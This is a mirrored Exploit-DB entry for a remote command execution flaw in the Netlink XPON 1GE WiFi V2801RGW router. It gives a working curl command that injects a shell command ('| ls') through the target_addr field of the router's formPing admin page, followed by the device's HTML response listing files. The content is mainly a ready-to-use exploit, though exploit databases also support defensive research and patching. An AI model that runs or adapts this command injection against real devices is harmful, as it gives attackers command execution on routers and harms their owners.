Netlink XPON 1GE WiFi V2801RGW – Remote Command Execution - 体验盒子

作者： Seecko Das

日期： 2020-05-14

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/48470/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

# Exploit Title: Netlink XPON 1GE WiFi V2801RGW - Remote Command Execution

# Google Dork: Not applicable

# Date: 2020-05-13

# Exploit Author: Seecko Das

# Vendor Homepage: https://www.crtindia.com/

# Version: V3.3.0-190627

# Tested on: Windows 10/Linux (Kali)

# CVE: N/A

Exploit :

curl -L -d "target_addr=1.1.1.1+%7C+ls&waninf=1_INTERNET_R_VID_168" http://IPADDRESS/boaform/admin/formPing

Response :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>

<head>

@import url(/style/default.css);

</style>

</head>

<form>

<div align="left"><b>Please wait</b>

</div>

<pre>

boa.conf

web

</pre>

</div>

</form>

</blockquote>

</body>

</html>